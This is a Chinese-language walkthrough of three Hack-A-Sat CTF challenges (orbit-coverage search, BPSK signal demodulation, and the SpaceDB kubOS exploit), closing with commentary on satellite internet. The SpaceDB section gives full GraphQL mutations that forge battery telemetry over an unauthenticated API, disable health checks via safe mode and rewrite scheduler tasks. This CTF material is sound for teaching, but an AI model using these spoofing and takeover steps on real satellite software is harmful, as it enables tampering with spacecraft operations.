Contact(2023)
题目
给定 5 个美国境内地面站的 WGS-84 坐标:
| 名称 | 纬度 (deg) | 经度 (deg) | 海拔 (m) |
|---|---|---|---|
| Cape Canaveral | 28.40 | -80.61 | 27 |
| Cape Cod | 41.70 | -70.03 | 9 |
| Anchorage | 61.21 | -149.90 | 40 |
| Vandenberg | 34.76 | -120.52 | 122 |
| Denver | 39.74 | -104.98 | 1594 |
要求在 2023-04-01 00:00:00 UTC 至 08:00:00 UTC 的 8 小时窗口内,使卫星与至少一个地面站的累计通信时间达到或超过 230 分钟。“通信中”须同时满足:距离 < 6000 km、仰角 > 15°、轨道高度 > 300 km。
要求
提交 TLE Line 2 的六个参数:倾角、RAAN、偏心率(×10⁻⁷)、近地点幅角、平近点角、平均运动(revs/day)。
解答
mHACKeroni 的路径是带堆的 A* 随机变异搜索,官方的 solveit.py 则是遗传算法。两者共享同一个核心:不解析求解,而是用模拟器作为适应度函数,在参数空间里做有向导的搜索。
路径一:mHACKeroni 的 A* 搜索
算法维护一个优先队列(heap),堆顶是当前得分最高的参数组合。每一轮弹出堆顶提交给远程 checker,拿到分数后生成随机变异体,按新分数压回堆中。变异逻辑为:用 random.randint(1, 63) 生成一个 6 位掩码,决定六参数中哪些维度被修改,然后对选中的维度加上 random.randint(-500, 500) * DELTA 的偏移。
他们手动试出的较好种子包括:
- 61 分钟:倾角 45,RAAN 45,偏心率 0,近地点幅角 45,平近点角 45,平均运动 15
- 105 分钟:倾角 12,RAAN 10,偏心率 10,近地点幅角 10,平近点角 10,平均运动 10
- 171 分钟:倾角 60,RAAN 10,偏心率 10,近地点幅角 10,平近点角 30,平均运动 10
从 171 分钟的种子出发,脚本逐步把结果推到 178、199、211、213、214 分钟。最终解的一个示例为:
倾角: 107.641800
RAAN: 175.370600
偏心率: 1290126.607700
近地点幅角: 234.187200
平近点角: 170.385800
平均运动: 8.307954
对应 214 分钟接触时间。
路径二:官方 solveit.py 的遗传算法
mephi42/ctf 仓库中 2023.04.01-Hack-A-Sat_4_Qualifiers/Contact/solveit.py 的逻辑分三步:
Step 1:1 分钟粒度模拟。 calc() 函数用 Skyfield 以 1 分钟步长模拟轨道。先检查卫星高度是否低于 300 km(低于则直接返回 0),然后对每个时间步、每个地面站计算仰角和距离,满足条件即累加 1 分钟。
Step 2:try_known() 用现役卫星做种子。 从 CelesTrak 拉取现役卫星的 TLE,逐一测试是否有现成轨道已经满足或接近 230 分钟。这一步既是快速通道,也是遗传算法的初始种群来源。
Step 3:pygad 遗传算法。 以 try_known() 中找到的较好轨道作为初始种群,在六参数空间里进化。参数被归一化到个位数范围,适应度函数就是 calc() 返回的累计接触分钟数。
solveit.py 产出的 TLE 参数为:
倾角 55.0000°,RAAN 12.4383°,偏心率 2113634×10⁻⁷,
近地点幅角 284.9109°,平近点角 63.6805°,平均运动 10.61411592 revs/day
复现注意:公开 WP 中的这组参数与当前公开 checker 的输入限制可能不完全兼容。更稳的做法是保留“1 分钟粒度模拟 + 以已有卫星为种子 + 遗传算法邻域搜索”这套流程,在 solveit.py 下针对当前 checker 重新运行,而不是硬编码某一组历史数值。
FAUXY Lady(2023)
题目
给定一个卫星信号的 signal.wav 录音,从中恢复 flag。
要求
信号为二阶调制(相位或频率),1.2 kHz 间隔;符号率对应 36.75 samples/symbol,非整数;载波相位未锁定,直接按原始采样率判决不可行。
解答
解调链路分四步:重采样 → Costas 环同步 → BPSK 解调 → 位展开与数据包提取。
第一步:重采样到整数 samples/symbol
36.75 samples/symbol 意味着如果直接按原始采样率做符号判决,采样点会随着符号推进逐渐漂移过判决边界。必须先将信号重采样到整数 samples/symbol,让每个符号拥有固定的时间基准。在 GNU Radio Companion 中,Rational Resampler 模块完成这一步:输入采样率与 36.75 的关系,输出整数 samples/symbol 的基带信号。
第二步:Costas 环载波同步
二阶调制在星座图上本应呈现聚集的符号簇,但“before Costas loop”的散点图显示出明显的旋转和弥散,说明载波相位没有锁定。Costas 环在接收端重建一个与发送端同频同相的参考载波,把星座图“拧”回可判决的位置。在 GRC 中,Costas Loop 模块的输入端接重采样后的复数基带,输出端接 BPSK 解调器。
完整的 GRC 链路为:
Wav File Source → Float to Complex → Rational Resampler → Costas Loop → BPSK Demodulator → File Sink
BPSK 解调器输出硬判决后的比特流,写入 rx.bin 或 out.out。
第三步:位展开与数据包提取
对 rx.bin 逐字节取 8 位二进制并拼接,在连续比特串中搜索 flag 的格式特征。Medium 文章明确指出,在 Python 3 中读取 rx.bin 即可看到 flag。
mHACKeroni 的实现与 Medium 版本在 DSP 链路上一致,区别在于工程载体:前者在 GNURadio 中完成重采样和同步,后者更强调 Python 侧的位处理。两者产出的比特流相同。
SpaceDB(2020)
题目
卫星在一次 over-the-space update 之后 housekeeping 异常,VIDIODE 电池电压过低,调度服务已经关闭。控制台输出中给出了遥测服务的 GraphiQL 地址,形如 3.19.141.137:19369/tel/graphiql。
要求
通过 kubOS 内置的 GraphQL API 恢复调度器,再调整运行任务取得 flag。遥测接口没有认证,也没有写保护。
解答
第一步:Schema 挖掘
在 GraphiQL 中执行标准 introspection query。schema dump 揭示两个关键能力:可以 query telemetry,也可以通过 delete 和 insertBulk 对 telemetry 做 mutation。遥测条目的结构为 timestamp、subsystem、parameter、value。
第二步:伪造遥测,绕过 critical-tel-check
卫星同时运行着两个周期性任务:critical-tel-check 检查关键错误,update_tel 从星上拉取最新遥测。critical-tel-check 的频率高于 update_tel,如果直接 insertBulk 一条正常的 VIDIODE,手动修改可能在生效之前就被真实的低电压遥测覆盖回来。因此 mutation 必须先 delete 最新条目,再 insertBulk:
mutation spoof {
delete(timestampGe: 1590232427.582683){success, errors}
insertBulk(timestamp: 1590232427.582683, entries: [
{subsystem: "eps", parameter: "VIDIODE", value: "8.0"},
{subsystem: "eps", parameter: "RESETS_MANUAL", value: "1.0"},
{subsystem: "eps", parameter: "RESETS_BROWNOUT", value: "1.0"},
{subsystem: "eps", parameter: "RESETS_AUTO_SOFTWARE", value: "1.0"},
{subsystem: "eps", parameter: "BATTERY_1_RESETS_MANUAL", value: "1.0"},
{subsystem: "eps", parameter: "BATTERY_1_RESETS_BROWNOUT", value: "1.0"},
{subsystem: "eps", parameter: "BATTERY_1_RESETS_AUTO_SOFTWARE", value: "1.0"},
{subsystem: "eps", parameter: "BATTERY_0_RESETS_MANUAL", value: "1.0"},
{subsystem: "eps", parameter: "BATTERY_0_RESETS_BROWNOUT", value: "1.0"},
{subsystem: "eps", parameter: "BATTERY_0_RESETS_AUTO_SOFTWARE", value: "1.0"}
]){success, errors}
}
VIDIODE 设为 "8.0" 是通过试错确定的;所有 RESETS_* 标志位全部置 1.0,因为无法确定具体需要触发哪一个,索性全部拉起。
伪造成功后,控制台输出 Scheduler service comms started successfully,并给出调度器的 GraphiQL 地址,形如 3.19.61.44:14764/sch/graphiql。
第三步:进入 safe mode,停掉遥测检查
调度器仍然暴露在 critical-tel-check 的威胁下,所以进入调度器后的第一个动作是切到 safe mode:
mutation { safeMode{success, errors} }
safe mode 会停掉默认 station-keeping 模式下所有遥测检查,防止调度器再次被关闭。
第四步:任务编排
用 availableModes 查询 dump 所有模式和 task 列表:
{
availableModes{
name, path, lastRevised, active,
schedule{filename, tasks { description app { config, name, args } delay time period }, path, timeImported}
}
}
关键发现:request_flag_telemetry 这个 app 会打印 flag;low_power 模式会让电池充电并自动跳转到 transmission 模式;transmission 模式包含一个约 5 秒的地面链路窗口。
供电修复:创建 solar 模式,运行 sunpoint 让太阳能板对日,然后激活该模式:
mutation { createMode(name:"solar") {success, errors} }
mutation {
importRawTaskList(name: "nominal-op", mode: "solar", json: "{
\"tasks\": [
{\"description\": \"point at the sun\", \"delay\": \"0s\", \"app\": {\"name\": \"sunpoint\"}}
]}" ){success, errors}
}
mutation { activateMode(name: "solar") {success, errors} }
在 transmission 模式中插入取 flag 的任务链:直接覆写该模式的 task 列表,在 groundpoint 和 disable_downlink 之间插入 request_flag_telemetry。时间戳基于登录时刻生成,每次连接都会变化,必须由脚本动态计算:
mutation {
importRawTaskList(name: "nominal-op", mode: "transmission", json: "{
\"tasks\": [
{\"app\": {\"name\": \"groundpoint\"}, \"description\": \"Orient antenna to ground.\", \"delay\": null, \"period\": null, \"time\": YOUR_TIMESTAMP_1},
{\"app\": {\"name\": \"enable_downlink\"}, \"description\": \"Power-up downlink antenna.\", \"delay\": null, \"period\": null, \"time\": YOUR_TIMESTAMP_2},
{\"app\": {\"name\": \"request_flag_telemetry\"}, \"description\": \"Transmit patch and win!\", \"delay\": null, \"period\": null, \"time\": YOUR_TIMESTAMP_3},
{\"app\": {\"name\": \"disable_downlink\"}, \"description\": \"Power-down downlink antenna.\", \"delay\": null, \"period\": null, \"time\": YOUR_TIMESTAMP_4},
{\"app\": {\"name\": \"sunpoint\"}, \"description\": \"Point at the sun.\", \"delay\": null, \"period\": null, \"time\": YOUR_TIMESTAMP_5}
]}" ){success, errors}
}
第五步:激活 low_power 模式
mutation { activateMode(name: "low_power") {success, errors} }
low_power 让卫星进入低功耗等待状态,电池开始充电,并在预定时间自动跳转到 transmission 模式。flag 会在下行链路打开的 5 秒窗口里由 request_flag_telemetry 打印出来。
天基互联网在做什么
这三道题各自对应天基互联网的一个工程层面,把它们拼起来,可以看到这个领域在做什么。
Contact 对应轨道层的覆盖规划。 天基互联网的核心资产是卫星星座,而星座的价值首先取决于轨道设计:多少颗星、什么倾角、什么高度,才能在目标服务区域内提供足够的累计覆盖时间。Hack-A-Sat 把这个问题压缩成“5 个站、8 小时、230 分钟”的约束优化,用的方法是模拟 + 搜索。真实的星座设计规模大得多,但方法论是连续的:用轨道模拟计算覆盖,用优化算法在参数空间里找可行域。
FAUXY Lady 对应链路层的信号处理。 星地链路不是理想信道。非整数 samples/symbol、载波相位漂移、噪声,都是工程实现中必须处理的现实问题。重采样、Costas 环、BPSK 解调这一套 DSP 链条,是任何数字卫星通信接收机的基础设施。低轨星座的星间激光链路(ISL)虽然在物理层与射频不同,但“同步—解调—解码”的层次结构是一致的。
SpaceDB 对应软件层的星上任务管理。 kubOS 这样的星上框架用 GraphQL 暴露遥测和调度接口,本质上是在资源受限、无人值守的环境中,用 API 驱动卫星的运行状态。题目中的漏洞——无认证的 mutation、遥测与调度之间的竞态条件——在真实的星上软件栈中同样是安全审视的对象。天基互联网把数千颗卫星变成可远程编程的节点,星上软件的安全性直接决定了整个星座的可信度。
Starlink 的卫星运行在约 550 km 高度,通过星间激光链路组成全球 mesh,单链路速率可达 200 Gbps,端到端延迟压缩到 25 ms 左右。OneWeb 运行在约 1200 km,同样配备 ISL,侧重偏远地区和企业级连接。这些系统在工程上同时在解三道题:轨道层的覆盖、链路层的信号、软件层的任务与遥测。Hack-A-Sat 的三道题,恰好是这三层在 CTF 语境下的缩影。

















这一切,似未曾拥有